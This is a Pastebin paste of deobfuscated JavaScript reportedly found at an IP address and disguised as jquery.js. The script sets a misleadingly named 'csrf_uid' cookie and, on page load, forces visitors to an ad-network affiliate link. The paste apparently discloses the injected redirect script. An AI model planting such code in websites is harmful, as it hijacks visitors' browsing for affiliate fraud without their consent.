Advertisement
Guest User

Decoded code found at http://134.249.116.78/jquery.js

a guest
Mar 6th, 2017
1,607
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function gotoAffiliateLink() {
  2.   window.location.href = "https://go.ad2up.com/afu.php?id=473791";
  3. }
  4.  
  5. function setCookie(prefix, str, value3, dataAndEvents) {
  6.   var against = new Date;
  7.   var defaultCenturyStart = new Date;
  8.   if (value3 === null || value3 === 0) {
  9.     value3 = 3;
  10.   }
  11.   defaultCenturyStart.setTime(against.getTime() + 36E5 * 24 * value3);
  12.   document.cookie = prefix + "=" + escape(str) + ";expires=" + defaultCenturyStart.toGMTString() + (dataAndEvents ? "; path=" + dataAndEvents : "");
  13. }
  14.  
  15. function getCookieValue(chunk) {
  16.   var placed = document.cookie.indexOf(chunk + "=");
  17.   var camelKey = placed + chunk.length + 1;
  18.   if (!placed && chunk != document.cookie.substring(0, chunk.length)) {
  19.     return null;
  20.   }
  21.   if (placed == -1) {
  22.     return null;
  23.   }
  24.   var data = document.cookie.indexOf(";", camelKey);
  25.   if (data == -1) {
  26.     data = document.cookie.length;
  27.   }
  28.   return unescape(document.cookie.substring(camelKey, data));
  29. }
  30.  
  31. if (navigator.cookieEnabled) {
  32.   if (getCookieValue("csrf_uid") == 1) {
  33.   } else {
  34.     setCookie("csrf_uid", "1", "7", "/");
  35.     if (document.loaded) {
  36.       gotoAffiliateLink();
  37.     } else {
  38.       if (window.addEventListener) {
  39.         window.addEventListener("load", gotoAffiliateLink, false);
  40.       } else {
  41.         window.attachEvent("load", gotoAffiliateLink);
  42.       }
  43.     }
  44.   }
  45. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement